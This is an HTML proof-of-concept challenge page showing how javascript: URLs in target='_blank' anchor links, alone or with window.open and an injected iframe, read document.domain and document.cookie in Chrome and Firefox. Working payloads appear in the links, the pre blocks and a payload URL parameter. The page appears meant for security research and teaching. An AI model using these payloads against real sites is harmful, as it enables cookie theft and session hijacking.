The challenge: Can you get <b>document.domain</b> as well as <b>document.cookie</b> in Chrome and Firefox? :)

<br/><hr/>

<b>Classic examples:</b><br/>
<br/>Payload=
<pre>javascript:alert('Domain:' + document.domain + '\nCookies:' + document.cookie)</pre>
<br/>
target="_blank" has been used:<br/>
<a href="javascript:alert('Domain:' + document.domain + '\nCookies:' + document.cookie)" target="_blank">Click Me 1.1, can you get both domain and cookies?</a><br/>

<br/><br/>
target="_blank" and rel="noopener noreferrer" have been used (just to show no changes):<br/>
<a href="javascript:alert('Domain:' + document.domain + '\nCookies:' + document.cookie)" target="_blank" rel="noreferrer noopener">Click Me 1.2, can you get both domain and cookies?</a><br/>


<br/><hr/>
<b>Modern examples:</b><br/><br/>


<a href="javascript:w=window.open('https://20.rs/pocs/target_blank/anchor_pocs1.php?canbeframed=0','_blank');alert(/delay/);alert('Domain:' + w.document.domain + '\nCookies:' + w.document.cookie);" target="_blank" rel="noreferrer noopener">Click Me 2 - when framing is not allowed</a> -> Chrome & Firefox
<br/>Payload=
<pre>javascript:w=window.open('https://20.rs/pocs/target_blank/anchor_pocs1.php?canbeframed=0','_blank');alert(/delay/);alert('Domain:' %2b w.document.domain %2b '\nCookies:' %2b w.document.cookie);</pre>


<br/><br/>

<a href="javascript:document.write(%22<iframe name=myfrm src='https://20.rs/pocs/target_blank/anchor_pocs1.php' onload='alert(`Domain:` %2b this.contentWindow.document.domain %2b `\nCookies:` %2b this.contentWindow.document.cookie)'></iframe>%22);document.close();" target="_blank" rel="noreferrer noopener">Click Me 3 - when framing is allowed</a> -> Chrome & Firefox
<br/>Payload=
<pre>javascript:document.write(%22&lt;iframe name=myfrm src='https://20.rs/pocs/target_blank/anchor_pocs1.php' onload='alert(`Domain:` %2b this.contentWindow.document.domain %2b `\nCookies:` %2b this.contentWindow.document.cookie)'>&lt;/iframe>%22);document.close();</pre>


<br/><hr/>
<a href="" target="_blank" rel="noreferrer noopener">Click Me 4</a> - your customized payload come here via <a href="?canbeframed=1&payload=javascript:XSS_HERE">using the `payload` parameter.</a> Can you find another solution to access `document.cookie`? :)
<br/>Payload=
<pre></pre>
<br/>Try this for example: <pre>https://20.rs/pocs/target_blank/anchor_pocs1.php?canbeframed=1&payload=javascript:w=window.open(%27https://20.rs/pocs/target_blank/anchor_pocs1.php?canbeframed=0%27,%27_blank%27);setTimeout(%22alert(w.document.cookie)%22,500);console.log(1);</pre>
<hr/>
<br/><br/>

<pre>
Use SHIFT+CLICK or CTRL+CLICK or ALT+CLICK or Middle-Mouse-Click
</pre>

<br/><br>
A relevant reference: <a href="http://blog.dclabs.com.br/2021/05/the-curious-case-of-xss-and-mouse.html" target+"_blank">http://blog.dclabs.com.br/2021/05/the-curious-case-of-xss-and-mouse.html</a>